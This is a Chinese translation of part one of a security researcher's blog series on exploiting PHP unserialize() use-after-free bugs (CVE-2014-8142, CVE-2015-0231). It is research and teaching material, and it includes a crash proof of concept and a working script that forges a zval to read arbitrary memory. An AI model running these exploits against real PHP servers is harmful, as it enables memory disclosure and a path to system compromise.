0x00 前言
作者:Cigital公司的安全顾问Qsl1pknotp
题目:Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 1
地址:http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
很多人都认为,对基于Web的应用程序来说,内存崩溃类bug不是什么严重问题。尤其现在XSS和SQL注入类漏洞仍然大行其事的情况下,不会有多少注意力投入到这类bug中,它们会被当做“不可利用”或者被直接无视。然而,假如攻击成功,利用这类漏洞进行攻击所导致的结果将远远超出SQL注入以及XSS,因为:
1. 攻击者将得到有保证的系统访问权。
2. 将会很难识别恶意攻击数据流量。
3. 需要维护者/供应商提供专门补丁,并且只能希望修补得没有问题。
接下来笔者将发表三篇该系列攻击的文章,本文是其中的首篇。该系列将从CVE-2014-8142的利用开始讲起、然后是远程任意信息泄露、最后以获取PHP解释器的控制权结束。Stefan Esser(@i0n1c)是这两个CVE的原作者,并且是在2010年Syscan上第一个讲解如何控制PHP解释器(被称为“ret2php”)的。
0x01 漏洞起源
这一切都始于2004年,Esser在unserialize()函数中发现的一个Use After Free漏洞。这是一个Hardened-PHP(译者注:如果项目中,服务器的安全性是最重要的,就可以称为是Hardened-PHP)项目的一部分,没有任何代码公开。2010年,Esser又在SPLObjectStorage的unserialize()中发现另一个User After Free,这个漏洞直接产生了Syscan会上的一个发言,跟第一次漏洞一样,本次也没有代码公开。最后,CVE-2014-8142被发现,又被打补丁,但是因为补丁没打好,又导致了CVE-2015-0231。
幸运的是,这次Stefan终于给出了一个可令PHP解释器产生故障的POC。下面的代码就会导致有此漏洞的PHP解释器出现问题。
<?php
for ($i=4; $i<100; $i++) {
var_dump($i);
$m = new StdClass();
$u = array(1);
$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ccc = &$u;
$m->ddd = str_repeat("A", $i);
$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
var_dump($z);
$y = unserialize($z);
var_dump($y);
}
?>
source:StefanEsser_Original_POC
0x02 漏洞分析利用
下面来解释下POC是如何工作的:我们通过重新添加“aaa”对象的值(不同值),来更新对象“aaa”,然而“ccc”对象其实还是指向原始“aaa”对象中的某一个值。
既然我们已经在顶层实现上知道了它的工作原理,接下来就让我们一起试着找到问题的罪魁祸首吧。我们在process_nested_data函数中寻找,快速浏览一下,会发现一段特定的代码:
让我们一起跟进脚本中来确定真正发生了什么。我们将断点断在var_unserializer.c的第337行来看一下(此处位于process_nested_data函数内)。
继续运行,跟过下面的代码:
<?php
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
$x = unserialize($data);
var_dump($x);
?>
source:StefanEsser_Original_LocalMemLeak.php
运行上面的脚本,断点第一次命中时跳过,第二次命中时,执行下面的查看命令:
printzv *(var_entries)var_hash->first
可以看到地址的一个数组,这些地址指向unserialize()函数解析的变量值。我们感兴趣的是第五个0xb7bf87c0(我们上面php代码中用的是R:5)。既然已经得到地址,我们就去看一下内容,然后步过该断点并继续运行。
已经调用完该可疑函数,接下来重新看一下刚才我们选定的地址中出现了什么内容:
成功搞定!当然,还需要确认下该地址是否还在var_hash表中,然后继续运行。
果然还在,继续:
Sweet!已经可以泄露前面地址中的数据了。我们现在已经可以成功泄露出之前所提供字串的长度,但这其实没什么意思。那么能不能泄露出任意内存数据呢?下面就是你想要的代码:
<?php
$fakezval = pack(
'IIII', //unsigned int
0x08048000, //address to leak
0x0000000f, //length of string
0x00000000, //refcount
0x00000006 //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7
);
//obj from original POC by @ion1c
$obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';
$obj=unserialize($obj);
for($i = 0; $i < 5; $i++) { //this i value is larger than usually required
$v[$i]=$fakezval.$i; //repeat to overwrite
}
//due to the reference being overwritten by our loop above, leak memory
echo $obj->ccc;
?>
source:PHPLeak
下面是输出数据:
我们这里做的操作是非常简单的(希望是)。我们创建自己的ZVAL(PHP使用的内部数据结构)数据结构。我们定义了几个东西,使pack()函数获取我们的代码执行。按照顺序,它们是:
类型(例子中用的是unsigned int)
地址(我们想要泄露的地址)
长度(我们想要泄露内存的长度)
参考标志(0)
数据类型(6,代表String类型)
当然,如果我们没有伪造一个string ZVAL结构,这些值是会变化的。代码中的for循环是真正执行内存覆盖操作(覆盖之前释放掉的内存),这些操作使我们得到上述的输出数据。代码中我令循环数$i的值大于其所需的值,只是用以确保代码的通用性,当然我测试过的大多数机器只需要2次就可以了,不需要执行5次。
好了,现在已经可以泄露随意地址数据了,让我们再一起看看CVE-2015-0231?很简单:只需将“aaa”替换成“123”,看一下输出的数据:
0x03 下一步研究
通过上述过程,我们已经完成了一个可在本地泄露任意内存地址数据的POC,且该POC同时适用于两个CVE漏洞的。我们下一步目标是仍然是数据泄露,所不同的是,将会是远程数据泄露!
敬请期待第二回,远程数据泄露!